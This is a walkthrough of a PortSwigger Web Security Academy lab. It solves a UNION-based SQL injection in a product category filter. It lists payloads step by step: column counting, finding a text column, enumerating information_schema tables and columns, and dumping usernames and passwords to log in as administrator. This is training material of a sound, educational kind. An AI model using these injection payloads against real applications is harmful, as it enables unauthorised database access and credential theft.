Lab: SQL injection attack, listing the database contents on non-Oracle databases
tags: Portswigger Web Security Academy Web
- Description: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
- Goal: To solve the lab, log in as the administrator user.
Exp
-
Determine # of columns Payload:
?category=Gifts' union select NULL,NULL -- -
Determine which column contained text string Payload:
?category=Gifts' union select 'a','b' -- -
According to cheat sheet We can use
information_schema.tablesto searchtable_nameFor instance:SELECT * FROM information_schema.tables
Payload:
?category=Gifts' union SELECT TABLE_NAME,NULL FROM information_schema.tables--:::spoiler Result
::: - Then tried the specific one -
users_rjrgxfPayload:?category=Gifts' union SELECT COLUMN_NAME,NULL FROM information_schema.columns WHERE table_name = 'users_rjrgxf'--:::spoiler Result
::: - Tried dig deeper
Payload:
?category=Gifts' union SELECT username_ngqqos,password_jraqsv FROM users_rjrgxf--Then you’ll get the password ofadministrator$\to$ login directrly :::spoiler Success Screenshot
:::